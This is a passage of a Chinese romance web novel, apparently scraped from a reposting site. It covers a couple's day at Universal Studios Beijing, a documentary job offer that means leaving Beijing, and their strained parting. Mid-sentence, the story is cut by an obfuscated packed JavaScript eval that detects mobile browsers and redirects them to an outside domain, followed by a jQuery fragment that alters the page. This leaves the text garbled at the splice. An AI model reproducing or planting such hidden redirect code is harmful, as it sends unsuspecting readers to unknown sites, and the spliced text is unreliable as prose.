晚风吹拂树叶,宁朝独自站在树下,太阳悬挂天际线,宛如一个熟透了的巨大橙子。 橙子。 想到这,宁朝兀自笑出来,连宁衡远什么时候站到他身后的都不知道。 “捡着钱了这么高兴?”宁衡远背着手问他。 被突然冒出来的声音惊了下,宁朝火速摆正表情:“您什么时候来的?” 宁衡远扯起嗓门:“我从这走了八百六十趟了您没看着我啊?” 宁朝不自然地挠挠额头:“我看这树呢。” 宁衡远大“嗬”一声:“真谢谢你告诉我这是棵大树,不告儿我我以为俩蘑菇呢。” 两人转身往家走,静了几分钟,宁朝到底没忍住:“我明天要跟姜南西一起去环球影城。” “谁问你了!”宁衡远翻个白眼,这孩子今天是不是有点缺心眼儿。 宁朝呢,则不依不饶:“我俩没商量就同时买了票,都想跟对方一起去。” 宁衡远彻底受不了了:“甭跟我这儿装大尾巴狼,收收你那有钱人的嘴脸!” 他啐宁朝:“装货!” · 要去环球影城,姜南西特意穿了身风格活泼的连衣裙,明黄裙摆色彩鲜明,头发绑成两个宽松麻花辫,俏皮又明亮。 也化了个妆。但不知是太久没化,还是别的什么,她的手总是不稳,眼线画错了好几次,收拾完出门时快要迟到,急得她拎起包和相机一路小跑。 出电梯时着急没看路,姜南西不小心跟来人迎面撞了下,对面手里的咖啡没刹住洒在姜南西的裙子上,晕出一小块暗色。 那人也是低头玩手机没注意,态度很好地道歉:“真不好意思啊!你没事儿吧?” “没事儿。”没泼到相机,姜南西挥了挥手。 两人都有责任,何况泼得也不多,大概腰侧两个硬币大小,不细看问题不大。 那人递过一张纸巾,嘴里嘟囔着:“还好这是冰美式,要是热的就惨了,实在对不起。” 闻言姜南西眉心一跳。 又是冰美式,还真是跟她过不去。 “没关系的,放心吧。”姜南西没多纠缠,她接过纸巾转身离开。 以往姜南西送小朋友都是素颜,穿着也是这么舒服怎么来,今天突然化了个妆,小朋友们个个像发现什么新物种,个个都要过来说一句:“小姜老师你今天好漂亮呀!” 幼儿园老师说:“觉得小姜老师漂亮的小朋友举手!” 小朋友们齐刷刷举起胳膊,最前头的小朋友说:“觉得小姜老师漂亮的人都举手,地球就变成刺猬啦!” 小朋友是这个世界上最不吝啬提供情绪价值的人。 只有一个小女孩注意到她腰上的咖啡渍:“小姜老师,你衣服怎么了?” 小姜老师以身作则,温声道:“老师走路不看路,撞到了别人才会这样,所以你以后走路一定要小心看路哦。” 小女孩点头记下,接着她扬起笑脸:“没关系的小姜老师,你今天是公主,公主在童话世界里,都会遇到一些小困难的。” 小女孩穿着漂亮的小裙子,奶里奶气的声音,萌萌的表情,再加上这句话,姜南西心都化了,她轻轻捏下小女孩脸蛋上的软肉:“你每一天都是小公主。” 轮到七块五则画风突变。 他有一件很重要的事要和姜南西分享:“小姜老师看我的肚子。” 姜南西登时神经绷紧:“肚子怎么了?” “小姜老师你摸摸看,是不是很圆。”七块五说,“我今天吃得很饱。” 姜南西照做摸了摸他的肚子:“那希望你以后每天都吃得饱饱的。” 以为到这结束,没成想七块五又转回来。 一早上,他都在观察路边黑色车里的男人,发现他一直在看这边,而且早上姜南西急急赶来的时候,那个男人直接下车拿走了她背着的相机和包。 按着小朋友的思路,七块五问姜南西:“小姜老师,那是你男朋友吗?” 姜南西不回头也知道他说的谁,摇了摇头:“不是。” “我觉得你可以考虑下。”七块五真诚“建议”道,“因为他长得很帅,跟猪猪侠一样帅。” 姜南西忍俊不禁。 等她坐进车里,好巧不巧,宁朝也问起七块五:“刚拉着你说话的那个红衣小胖墩儿,就是七块五?” 姜南西回忆了下谁穿的红色衣服:“对,就是他,可爱吧?” “挺可爱的。”宁朝启动车辆,他淡淡调侃:“穿个红衣服像个小猪猪侠。” “......” 沉默半晌,姜南西幽幽冒出一句:“你俩,挺投缘。” 25. 黄油啤酒 环球影城9点开园,8点30时城市大道上已经聚满了游客,正值暑期,随处可见大人带小孩儿的身影。 叽叽喳喳一片,姜南西出奇地没有感到焦虑,反而有点喜欢这热闹,她举起相机录下一片欢声笑语。 宁朝问她要不要跟蓝色大地球合张影,刚说完,碰上后边儿一北京大姐跟朋友吐槽:“有什么可照的这破他妈大地球。” 姜南西和宁朝对视一眼,双双笑出声。 姜南西很有小朋友缘,被一个粉雕玉琢的小女孩儿拉住要合影。 裙子不好蹲,为了配合小朋友的身高,姜南西双膝跪地,双手扶住小女孩儿肩膀跟她拍了张照片,拍完小女孩儿蹦蹦跳跳跑向妈妈:“妈妈我跟贝儿公主合影啦!” 妈妈说:“宝贝这里不是迪士尼。” 小女孩儿:“那这是哪里呀?” 妈妈:“这是方特。” 原来是因为身上的黄裙子。 宁朝微微欠身,朝刚起一半身的姜南西伸出手,自动扮演优雅的侍从:“公主请起。” 姜南西笑着重重拍下他的掌心,用力过猛手串飞了出去,她赶忙捡起来。 粉蓝瓷手串在阳光下泛着珠光,姜南西吹掉上面的灰,检查了下庆幸道:“还好没摔坏。” “潘家园儿买的。”宁朝一看就是。 “嗯。”姜南西重新戴好手串,“我觉得的是最好看的一个,可惜就是有点儿大。” 她抬手甩了两下,手串在胳膊上晃晃荡荡。 快到9点,人流陆续涌向安检大门。 姜南西埋头找身份证,跟着前面的人准备进护栏排队,宁朝忽然拉过她的胳膊,带她直奔右手边的VIP等候室。 宁朝买的不是普通的优速通,而是VIP贵宾服务,全程由专员导览陪玩,不仅免排队,还有专属观影和巡游席位,优先和人物角色合影互动。 这个服务姜南西之前看过,暑假不便宜。 以至于工作人员把VIP挂牌递过来时,她还有点懵:“你这个回礼会不会太贵重了点?” “想那么多。”宁朝不甚在意,他给姜南西戴好挂牌,然后双手扶住肩膀把人转过来,俯下身,他指向门后那条洒满阳光的好莱坞大道,用夸张的语气对姜南西说:“这位美丽的巫师小姐,打起精神,你的魔法之旅要开始了!” 姜南西愣一下,随后扬起一个大大的笑脸。 如果说迪士尼是每本儿童读物都承诺的入童话世界,那么环球影城,便是每部热血电影赠予各位大人的魔法宇宙。 踏入这里,如同推开一扇异世界的大门,短暂脱离重重现实,全身心投入充满奇幻和惊喜的乌托邦。 果然往道上那么一站,音乐那么一听,姜南西的思想包袱瞬间消失,她热情地和每个建筑上的装饰动物打招呼,像她说的小时候和小花小草挥手那样。 同行的大爷大妈夸赞:“这小姑娘真闯荡。” 姜南西和宁朝比较幸运,这个导览团只有四个人,除了他们,其他两位是来北京旅游的东北夫妇,女儿担心排队辛苦,给父母定了这个私享服务。 他们刚一说完,有大胆的游客招手回应姜南西,姜南西秒切安静,因为社恐。 宁朝笑着收回眼,看向那对夫妇,打趣意思明显:“您再瞧瞧。” 有专员带领走员工通道,项目刷起来畅通无阻。 上午行程集中在东边,小黄人和功夫熊猫这两个园区,项目更多照顾到小朋友,整体比较温和,姜南西咬咬牙就上了,下来时脸色还算正常。 反观两位大爷大妈,精神矍铄,神采奕奕,看着比姜南西和宁朝还有激情。 但哈利波特园区的禁忌之旅,姜南西来前在网上看过第一视角,知道里面会有些惊险的画面,从走进城堡那一刻就开始犹豫。 魔法飞椅流水线般飞进车站,载着一批批巫师前往霍格沃茨,魔法世界里传来阵阵尖叫声,不知道是高兴还是恐惧,听得姜南西紧张不已,一脸空白地站在护栏边,不敢动。 宁朝发现了,吵嚷中,他躬身靠近姜南西,轻声在她耳边说:“如果太害怕可以先等等,我们下午再来。”导览结束后,会再赠送贵宾们一套全速通。 “哎呀等啥等。”这话不知怎么被后面的大妈听见了。 她一把抓过姜南西的手,带着她往里走:“姑娘怕的话,你就牵着大妈手,大妈不怕。” 就这么半推半就,姜南西被拽到了飞椅上,大妈坐在她左边,不仅握紧她的手,还不忘提醒坐在姜南西右边的宁朝:“小伙子寻思啥呢,赶紧牵着你对象另一只手啊。” 大爷接大妈的话:“你是npc啊是个人就派任务。” 两人一言一语聊得火热,而这边,姜南西低头看脚下移动的地面,宁朝沉默没有说话。 随着赫敏一声呐喊,飞椅“嗖”的扎进魔法世界,逼真的特效音乐席卷所有视听,姜南西忍不住抓紧大妈的手。 大妈回握并鼓励她:“没事儿啊姑娘,一咬牙一闭眼就过去了!” 飞椅猛然加速冲向魔法漩涡,环绕式投影将各种角色和场景呈现在眼前,躲避打人柳时,飞椅同步震颤,巨型火龙喷吐烈焰,空气都变得热起来。 这种虚实交织的体验,让姜南西既害怕又隐隐兴奋。 魁地奇球场金色飞贼擦过耳际,飞椅骤然倾斜,周围炸开摄魂怪恐怖的尖啸,飞椅剧烈抖动开始俯冲。 有人在大喊:“ExpectoPatronum!” 失重的感觉太真实,姜南西一点声音发不出来,攥着大妈的手渗出细汗。 接着,黑暗中,姜南西感到空悬的右手被人握住,手指穿梭进她指缝,十指紧紧相扣。 宁朝似乎比她还紧张,掌心温度烫得姜南西心尖一麻。 下来后,两人都没提这事儿。 大妈特热情,挽着姜南西的胳膊问:“怎么样,看着没那么吓人吧?” 姜南西“啊”了声讪讪道:“......我全程闭着眼呢。” 还真是一咬牙一闭眼了,大爷大妈齐齐笑出来,宁朝跟着淡笑一下。 被这么一笑,姜南西有点不好意思,就不说话,结果冷不防听后面店员说了句:“瞅着那人拿的扫帚没!我们都是骑zhei个来上班儿的!” 姜南西没憋住“噗”的破功大笑,几人又是笑作一团。 导览心想,今天带的这团怎么跟一家子似的。 中午在落霞餐厅吃的自助,那对夫妇听说园区里煎饼果子很香,专门买了回来和二人分享,没等姜南西说话,宁朝先她一步拒绝:“她吃不了鸡蛋,谢谢您。” 饭后在二楼露台休息,湖景波光潋滟,飞越侏罗纪上游客的尖叫声此起彼伏。 姜南西猛地想起来:“我还没喝到黄油啤酒呢!” 一听“酒”字儿,宁朝想都没想说:“不能喝酒。” “这位麻瓜。”姜南西坐直理理衣服领子,一副堂而皇之的作派,“我们霍格沃茨可没有校外不能饮酒的规矩。” 隔着墨镜,宁朝斜睨了姜南西一眼,他哼笑:“那你待会儿甭回学校。” 黄油啤酒在哈利波特园区里售卖。 “黄油啤酒没有酒精。”姜南西没办法地说,又不太确定:“就是奶盖和糖浆?” 宁朝不太信:“真没酒精?” “有没有试试就知道了。”姜南西二话不说站起来,努力说服他:“国博你教的嘛,人生就是用来体验的。” 宁朝觉得哪里不太对,这句话好像不是这么用的。 到底还是买了。 顶着烈日排队,姜南西无奈躲在宁朝身后,但还是被晒到胳膊疼。 喝到的第一口就后悔了,确实没酒精,也不难喝,但对姜南西来说太甜了。 她蹙紧眉头将杯子拿开八丈远,刚要说什么,想起周围都是影迷,出于尊重,她踌躇许久才说:“蚊子咬我一口能变蜜蜂。” “人生就是......”宁朝一本正经一字一句。 姜南西:“闭嘴。” 回去路上,两个穿着魔法袍的妹妹手牵手问姜南西:“姐姐这个黄油啤酒好喝吗?”她们想买又怕踩雷,于是一路随机抓着路人问。 姜南西卡壳支吾半天:“嗯......挺好的,挺是黄油啤酒的味儿。” 宁朝一把搂过她脖子,笑着把人带走。 下午项目普遍比上午刺激,霸天虎过山车弹射飞出,速度风驰电掣,掀起一阵尖叫的浪潮。 姜南西看着就腿软,大爷大妈也不敢上了,站底下龇牙咧嘴:“这年轻人!” 宁朝示意导览:“麻烦您,下个地儿。” 下个地儿是变形金刚见面会,也是来这才知道,环球没有霸天虎这个互动角色,最有名的那个叫威震天,因为碎嘴子火遍网络。 互动时他问两人:“你们是什么关系?” 宁朝看向姜南西,姜南西眼里透着机灵劲儿:“您猜。” 威震天当然不按常理:“要是我没猜错的话,你们应该是兄妹吧。” 姜南西认真道:“他是我侄孙儿。” 威震天惊到后退一步,底下观众哄然大笑。 威震天问:“低等的碳基生物,告诉我你是怎么做到的?” 姜南西“你懂的”眨下眼:“脸上花了钱的。” 宁朝搭腔:“其实我八岁,就是长得有点着急。” 威震天摇摇头:“你们地球人真奇怪。” 一唱一和妙趣横生,让现场气氛到达高潮,欢声笑语淹没整块场地。 结束时,宁朝配合地一伸手,掌心朝上:“请吧,姑奶奶~” 姜南西玩儿开了,这次她轻轻将手搭上去,脑袋一昂姿态傲娇,宁朝毕恭毕敬“扶”着她走下舞台。 没走两步就不行了,姜南西推着宁朝逃似地离开现场。 除了不敢玩的,六个小时导览基本玩遍所有,中途姜南西发现手串丢了,导览让留下手机号,说找到了联系他们,宁朝留了自己的。 不过这并不影响姜南西的心情,导览结束后,她拉着宁朝又二刷了飞越侏罗纪。 虽然有人叫它飞越水泥地,但不妨碍姜南西很喜欢。 因为当身体腾空脚尖离地,座椅疾驰飞出去的一刹,她会感觉,自己好像变成一只挣脱樊笼的飞鸟,尽情翱翔在一方自由天空。 风在耳边呼啸,带着野性,没有那么多复杂的隐喻,只说:天地广阔,玩得开心。 二刷时撞进暮色,整个环球缓缓沉入静谧的蓝调时刻,那是一种深邃而迷人的蓝,建筑棱角不再清晰,与天幕相拥交融,湖面浮着夕暮灯光,风掠起粼粼褶皱,一切都那么温柔而平静。 风还在吹,但姜南西也不知道怎么了,看着看着蓦地眼睛酸涩。 潮湿的水汽扑在脸上,她却分不清那是湖水的雾,还是某种更绵长的、正在融化的东西。 为什么快乐的时光总是这样短暂呢? 晚上在梅尔斯餐厅吃饭,这里有种名叫“友情魔药”的漂亮饮料,五彩斑斓像女巫熬出来的魔药,颜值清新适配夏晚。 和下午买黄油啤酒一样,姜南西没问宁朝直接要了两杯。 不料却被宁朝阻止:“一杯友情魔药,我要一杯可乐。” 姜南西说:“可乐哪里都能喝到,来这肯定要尝尝特色。” 宁朝没什么情绪的:“不尝。” 姜南西耸耸肩,搞不懂这人突然的脾气。 她不死心:“尝一下嘛。” 宁朝坚决:“不尝。” 饭后差不多八点多,再逛一阵手机提醒步数已超记录。 哈蒙德餐厅前的湖边,姜南西瘫在长椅上,看着四处还在咔咔拍照的年轻人,自叹不如道:“真是年纪大咯。” “小娃娃拄拐棍儿。”宁朝轻声笑了句,“累了?” 姜南西轻哼一声,算是回应,接着她坐起来摸了摸自己膝盖:“我怎么觉得我左边膝盖这么疼呢?” 白天一直玩儿没注意,晚上一停下来,膝盖位置针扎似的疼。 两人同时弯腰看向姜南西的膝盖,不知不觉靠得很近。 宁朝低头问:“哪儿疼?” 姜南西指了指一小块皮肤:“这儿。” “手拿开我看看。”光线不好,宁朝探身凑得更近一点,离近才看清是划破了,大概是早上跟小朋友合影时,跪地上蹭的。 “划了道小口子,那边膝盖疼不疼?”看完左膝,宁朝不放心想再看看姜南西的右膝。 姜南西没有说话,她定定看向宁朝。 风从湖面过来,撩起宁朝额前的半绺碎发,姜南西看见他的睫毛微微淬着光,随着他低头的幅度,那光一寸寸落在她的膝盖,悄然变得似有重量。 宁朝指腹擦过膝盖的瞬间,姜南西顿时感觉皮肤像烧起来,温度上升,沿着神经燎向心口,燎遍姜南西的身体,让她回想起禁忌之旅时两人的那个牵手。 她猝不及防将膝盖往后一缩,不慎撞上宁朝的手肘,宁朝动作顿了下,转过头看她:“弄疼了?” 姜南西偏头躲开他的目光,闷闷说了句:“不疼。” 空气骤然有些凝固。 好在一顿铃声打断静默。 环球的工作人员说手串找到了,在大黄蜂回旋机这边,问宁朝有没有空来拿,没有的话可以后续邮寄。 宁朝说现在可以过去,挂断后他让姜南西坐这里等他。 姜南西点了点头,不看他。 宁朝离开后两分钟,姜南西收到一条微信。 发信人叫夏犹清,业内知名纪录片导演,上过教科书的传奇人物。 “南西你好,上次和你聊完深感愉快,其实之前跟你合作之后,我就去关注了你往期的作品,包括你发在自媒体账号上的内容,经过我的深思熟虑,觉得以你的专业能力和创作思维,仅仅担任导演助理实在太可惜,所以我想邀请你担任团队副导演这一职位。” 看到这条长信息,上一秒还疲倦不已的姜南西陡然坐起来,“副导演”三个字似是细小的电流顺着血液传遍全身,让她不由自主呼吸微颤。 发完简历后夏犹清一直没有回复,姜南西以为没戏,直到她从长城回来的第二天,夏犹清说要跟她视频聊一聊。 作为行业资深前辈,夏犹清没有想象中的肃穆严厉,相反,她很随和,很亲切,会在听姜南西说话时,用欣赏的眼光静静凝视着她,时不时鼓励她:“南西,我觉得你特别好,特别优秀。” 只是姜南西没想到,夏犹清会送她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817414|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么大一个惊喜。 结束和夏犹清的沟通过后,姜南西才敢表现出激动,身体里炸开烟花,火星四射,她急切需要找人分享此刻的心情。 姜南西拨了群语音给陈笛和何星屿,何星屿加班没接,陈笛听完这个消息也立刻炸了:“啊啊啊啊啊啊啊啊啊橙子恭喜你!!!” “谢谢。”姜南西笑盈盈。 激动不到一秒,陈笛情绪急转直下:“等等,你的意思是,还有二十多天你就要走了?” 按照刚才夏犹清说的,八月底前姜南西要赶到他们下一个拍摄地,这么一来,她的离京时间直接提前了半个月。 姜南西嗯了声。 像被一盆冷水“唰”地兜头浇下,陈笛的表情黯淡下来:“可是我真的好舍不得你啊。” 姜南西何尝不是,她扯起嘴角安慰她:“你可以蜜月来找我玩儿啊,蜜月旅行。” “哦对你提醒我了!老梁!”陈笛扬声喊她男朋友,“咱得把婚礼往前提提,现在这日子橙子赶不上。” 视频里一个若有若无的男声:“我明儿跟婚庆说下。” 交代完,陈笛再次看向屏幕,恹恹没有精神:“你真的要离开北京了吗?还以为你能跟那个Prada男能有什么发展呢。” 提到宁朝,姜南西心尖像被一只无形的手狠狠揪住,细细密密的闷胀。 她神色凝滞了下:“跟他......能有什么发展。”是陈述句,但听着比疑问句还迷惘。 “其实我跟星星背着你偷偷讨论过,感觉好像你每次跟他出去玩儿之后,回来状态都挺好,所以......”陈笛偷偷瞟眼姜南西,见她神色如常才接起下文,“所以我俩觉着万一你们要是真能成的话,说不定你就会选择继续留在北京了,因为我们真的很舍不得你走嘛,每次一想到你要离开北京,我心里就空落落的。” 默声半晌,姜南西才说:“我也舍不得你们。” “哎呀一个男人而已!”陈笛不想让气氛那么糟糕,“不管你怎么选!我和何星屿都是你的头号支持者!” 她高高挥舞起双手,大声喊道:“姜南西!去做你想做的事情吧!” 宁朝取完东西回来时,隔着一片人网,远远看见坐在长椅上的姜南西。 人潮熙攘里,她背脊微躬,独自一人坐在路灯下,视线沉在前方湖泊,安静着,看着,不知道在想什么。 宁朝忽然想起两人第一次在什刹海见面,她也是这样,孤独地游离在人群之外,仿佛是宇宙光速奔向黎明时,折叠在时空褶皱里的一个星点。 灯光漫无声息,融化周围的一切。 而宁朝分明看见,姜南西的身影愈来愈清晰,那些失落和悲伤沿着她的轮廓缓缓流淌,在光影的深海中幻化成坍缩的星云。 这不是什刹海那天的姜南西,是宁朝在很久以前,遇到的那个姜南西。 听见脚步声,姜南西抬起头,宁朝站在光影的切线上,垂头看她,他不仅拿回了手串,还有两个创可贴。 “你头发上有灰。”宁朝忽然说,指尖抬起拂了拂姜南西的发丝。 姜南西说:“我刚刚拿到纪录片导演的offer了,不在北京。” 一句话为接下来定了调,宁朝收回手。 他坐下来,没有立刻开口,只是先将手串还给姜南西,接着,慢条斯理地撕开一个创可贴,稍稍倾身,贴在她膝盖的伤口上。 姜南西静静看着他的动作,抿起嘴唇不再说话,想等他说,知道他会说。 却没想到是这句:“什么时候走?” 姜南西眸光低垂,小声说了个日期。 宁朝听到了,问她:“还有其他想去的地方吗?” 姜南西突然睫毛颤动,像被晚风惊动。 她知道自己很不适合处理眼下的情况。 多种情绪搅在一块,其实有很多话想说,但是脑海里闪过许多念头,太快了,她抓不住,而有些话已经在心中百转千回酝酿许久,到嘴边又不敢说,怕说错,怕没有用。 怕明明想表达的不是那个意思,却因为不安和顾忌,让言语变了味,最终把一切都搞砸。 灯影璀璨,人声鼎沸,遍处欢愉。 姜南西眨眨被风吹酸的眼睛:“这段时间,谢谢你。” 宁朝情绪无波无澜:“这段时间,你玩儿得开心吗?” “开心。”姜南西笑了下,弧度很淡,她不得不承认:“这段时间,跟你一起玩儿得很开心。” 北京这几年,姜南西自认过得平淡乏味。 可也有那么几个值得铭记在心的瞬间,姜南西把它称之为断点,长久的光阴里,断点很少,一个一个攒起来勉强能连成线,只是线条太单薄,稀稀落落连不成面。 直到某天,宁朝直白而强势地闯进她的生活,从那天起,她的生活发生了一些变化,短短一个多月,他从各个地方捡起那些被现实风化的断点,用无尽的耐心将它们重新打磨、串联,随之引爆,铺天盖地地送她漫天星辰。 这个offer来的悲喜交加,偏偏在这个时候,如果早一点或晚一点,也许都不会把姜南西推到当前的境地。 就像姜南西有时候会难过。 北京啊,两千多个夜晚的月亮都碎成银杏叶了。 又何必在最后,塞给她一片星空。 只要站在火堆旁边,自然能感受到滚烫的温度,姜南西感受得到,宁朝也能感受到。 这是长久以来,姜南西最有底气的一刻,宁朝知道,所以会更懂她。 “那这段时间,你有没有一点点喜欢......” 姜南西的心霎时揪紧,本能希望宁朝不要再说下去,不说就可以停在这里,刚刚好的距离,刚刚好到多少年后想起来感叹,就可以说,啊,那段日子,是挺美好的。 可宁朝怕再不说来不及。 但在当下,他觉得自己有些可笑。 快破产变穷光蛋的时候,他坐在谈判桌上面不改色力挽狂澜,如今坐在环球小小的一张长椅上,却突然畏怯惧前,如履薄冰。 他太了解姜南西了,知道只要自己进一步,姜南西会毫不犹豫后退百步。 “你有没有一点点喜欢北京?”最终,宁朝违背本心,低头了。他望着灿烂灯火,眼尾有薄薄的颜色。 这段时间以来,她表现的太过勇敢自由,是他忘了,她始终像飞鸟被困在玻璃幕墙里。 ——她应该飞向天空。 话说出口的一刹那,风过,泛起涟漪,湖面不再平静,深处所有倒影变成易碎的蜃景。 沉默蔓延,从环球到望京。 最后那个问题姜南西没有回答,作为一个心智健全的成年人,她知道那是什么意思。 正因如此,这个问题分量太重,她不能轻易回答,即使两人都心知肚明,答案就摆在那里。 下车后,姜南西近乎决绝地转身离开,忍住不去看最后一面,如果是的话。 “姜南西。”宁朝叫住她,像去国博的那次。 姜南西没有转身,没讲话,听宁朝讲。 “不管你现在喜不喜欢北京,又或者以后你会找到真正喜欢的......地方,但在此之前......” 宁朝顿了顿,似是止住千言万语:“能不能先不要讨厌我?” 26. 五颜六色的果汁 环球回来之后,姜南西和宁朝好几天没有联系,他们达成了一种不言自明的默契,和很多次同时给对方发消息一样的默契。 也不尽然,宁朝给姜南西发过几条信息,姜南西全都没回。 他接受她的不回应,也是默契。 何星屿敏锐察觉到姜南西连日以来的低落,跟陈笛说起这事儿。 陈笛为姐妹抱不平:“我就说Prada容易塌房!” 而姜南西不觉得自己的生活有什么变化,她照常早起送孩子,去地铁站打太极,大爷大妈夸她进步很大,姜南西站太阳底下没心没肺地笑。 白天会去些景点,第一天把奥体、鸟巢和水立方逛了个遍,广场上来来往往的人,众生百态,姜南西举起相机又放下,第二天在玉渊潭吹吹风过了一天。 不用送孩子的那天,她起了个大早,去天安门看升旗。 姜南西没有看升旗的经验,以为只要在预约时间之前到就行,结果一到现场,广场上早已人山人海,乌泱泱一片都是排队的人。 和她站一块的,是两个专门从外地来的大学生妹妹,跟姜南西说她们是特种兵旅行,已经在北京玩儿了两天,第一天环球影城,第二天故宫南锣鼓楼什刹海和天坛,今天看完升旗就坐高铁回去了。 姜南西站在俩人身后,看她们脑袋凑在一起,互相分享给对方拍的游客照。 “这个可以,这个可以P。” “这张也好看,头发丝在太阳底下绝了。” ...... 姜南西一路走一路跟着听,觉得画面既青春又有爱,端起相机拍了张两人的背影。 这张照片很受两个女生喜欢。 作为回报,安检一放人,她们迅速对视一眼,然后一人抓起姜南西的一只手,拽着她掠过人群一路狂奔,居然就这么抢到了第一排的位置。 跑完,其中一个女生上气不接下气:“这绝对是我这辈子百米冲刺最拼命的一次。” 但当看到国旗冉冉升起高高飘扬的时候,她又吸溜着鼻子说:“值了!” 另一个女生说:“是啊,好羡慕姐姐你就在北京工作,可以经常来看升旗。” 姜南西笑了笑,没说这也是她北漂几年第一次看升旗。 看完升旗,两人一齐挥手和姜南西说再见,姜南西顺道去了趟景山公园。 打车过去的,又遇上一健谈的司机,地道的北京大爷:“咱北京人本地人一般都不去景山,忌讳!” 姜南西问:“为什么呢?” 司机说:“那是崇祯皇帝上吊的地方,多不吉利啊,甭去了。” 姜南西还是去了。 暑期北京的每个景点都人山人海,游客们摩肩擦踵往上爬,都想要登上万春亭一睹故宫的风采,姜南西跟在人群里,走得很慢。 人多了不免可可磕磕碰碰,有人发生口角,却并不耽误其他人继续攀爬。 这就是北京,不会迎合任何一位初来乍到的旅者,也不会安慰任何一个感到不适的灵魂。 人潮密不透风,挤急了,传来一个年轻的男声,京腔满是不耐:“哟走啦!我还以为您住这儿呢!” 姜南西下意识看过去,映入眼帘的全是陌生的面孔。 傍晚,姜南西在家收拾行李。 将东西分门别类装进不同的箱子,还有些带不走的小物件装饰品,也都整理出来,打算送给何星屿和陈笛。 还有些健身器材放在房间阳台,她转身,目光倏然一滞。 窗外月色皎洁,不偏不倚洒在摆在阳台的那盆多肉,窗户上挂着的火箭碎片钥匙扣,在月光下折射出莹莹冷光。 人在看见一个有纪念意义的物件时,哪怕再平凡的一天,也很容易回忆起当时的心情。 当时她说她要梦想,要浪漫,要去月亮。 然而世间所有浪漫主义都有个弊病,都自以为能得到月亮,就好像月亮真的唾手可得。 姜南西在椅子上坐了一会儿,觉得屋子里憋闷,打算到楼下透透气。 她第一次在非“上班”时间碰到七块五。 小小的一个人,平躺在小区花园超大的圆网秋千上,摆弄着手里的玩具,好不悠闲自在。 姜南西坐到旁边的秋千上,轻声说了句:“小朋友晚上好啊。” 听到熟悉的声音,七块五一骨碌从秋千上滚起来,反射性地蹦出一句:“小姜老师早上好。” “已经是晚上啦,现在天上的是月亮姐姐。”姜南西笑着提醒。 “哦,月亮姐姐对不起。”七块五重新躺回去,并问一直坐着的姜南西:“小姜老师,你不一起扁下来吗?” 姜南西蹙眉不解:“什么是扁下来?” 七块五说:“就是像我这样,把自己从竖的变成扁的。” 姜南西试着理解了下,躺下来,脚尖轻轻一踢,身体随着秋千悠悠来回摇晃。 天空浑浊,月亮却清明,像凝在深墨的一滴泪。 七块五说:“我妈妈说每次我一扁下来世界就很安静,所以她希望我一直扁着。” “你跟你妈妈和好了?”姜南西问。 七块五举起手里玩具,炫耀似地晃几下:“好啦!妈妈给我买了猪猪侠!” 姜南西弯起眼睛笑,还是小孩儿好哄。 隔了会儿,七块五的妈妈叫他回家吃饭。 走前,他郑重其事问姜南西:“小姜老师,你明天还来吗?” 姜南西无声的眼神看向他,七块五说:“你来的话,我可以多扁一会儿。” 姜南西不忍心打破小朋友的期待,答应说好。 得到肯定的回复,七块五开心地跟她拜拜:“明天见。” 七块五回家吃饭,只剩姜南西一人躺在秋千上,任由晚风轻拂。 夏天的夜晚,月华如水,虫鸣清幽,不远处,流浪猫扒拉垃圾桶,几位老人摇着蒲扇聊天,不时发出爽朗的笑声,不知哪个单元里,钢琴声如溪流潺潺流淌,所有声音汇在一块,安宁静好。 七块五的妈妈说得没错,扁下来之后世界会变得很安静。 而她,也真的有点期待明天见。 姜南西躺在秋千上看月亮。 宁朝躺在足球场上看月亮。 整场球下来,每一次触球,每一脚射门,他都毫无保留用尽全身力量,直到最后一丝力气耗尽,他才瘫倒在地上,胸膛剧烈起伏,眼睛空洞看向天上的月亮。 绿茵场上,灯光如昼,刺得人眼睛疼。 宁朝抬起一只胳膊挡住眼睛,汗水淋漓,顺着脸颊滑落。 见人终于酣畅淋漓地发泄完,贾志新拎着瓶电解质水走过来盘腿坐下,看出不对劲嘴上也不饶人:“怎么着失恋啦?” 他欠嘚儿的习惯了,今天见宁朝头一句就是:“哟这不我宁总吗?您还活着呐?” 宁朝懒得跟他说太多,切入正题:“如果有个人被网暴一年,我能不能代这个人提起诉讼?” 作为发小,贾志新嘴上没把门,而作为律师,他却是实打实的出类拔萃。 他跟宁朝分析:“一般情况下,网暴的受害者本人是最直接的诉讼主体,但如果受害者因为网暴导致精神崩溃无法自理,这种情况下,才能由其近亲属或者法定代理人代为提起诉讼。” “怎么着老三,你这是要帮谁打官司?”贾志新瞅准商机,操着一口京片子毛遂自荐:“找哥们儿我啊,给你八折,保准儿给您办的倍儿漂亮。” 宁朝气息平缓下来:“打不了,不是近亲属。” 这三字儿一出,再加上那语气,贾志新立马咂摸出里头有猫腻儿,不简单。 他用手肘杵杵宁朝:“那人谁啊?你犯哪门子轴非想给人打这官司啊?” 宁朝直截了当:“我喜欢她。” 说话时,他仍旧用胳膊挡着眼睛,贾志新看不见他的神情,但任谁听,那语气都坦坦荡荡。 “......”贾志新万万没想到,自己能诈出来这么个“重磅炸弹”,愣半天了又问一遍:“那人谁啊?” 宁朝移开手,露出被汗浸得湿漉漉的眼睛:“你见过。” “酒吧那姑娘啊。”贾志新想起来了。 他嘴角挂起坏笑,揶揄道:“你丫搞一见钟情啊?” 宁朝没回答,只是抿了抿唇,可依着贾志新对他的了解,知道这是默认了。 能精准定位到酒吧那姑娘,其实贾志新不完全靠猜,主要还是因为那晚的宁朝,实在太反常了。 就说那姑娘倒宁朝怀里的时候,贾志新头回见他发小脸上表情那么复杂,又慌乱,又震惊,还有一丝贾志新也看不懂的情绪。 他找不到合适的词来定义,但第一眼觉得是心疼。 有好事的人趁机录视频,宁朝一手抱着那姑娘,一手遮着姑娘的脸,脸色黑得吓人。 好在他和李博当时都在场,帮忙盯着那些人把视频照片都删了,严防死守没留下一点痕迹,不然就现如今这个开局一张图的网络环境,指不定会对那姑娘名声造成什么影响。 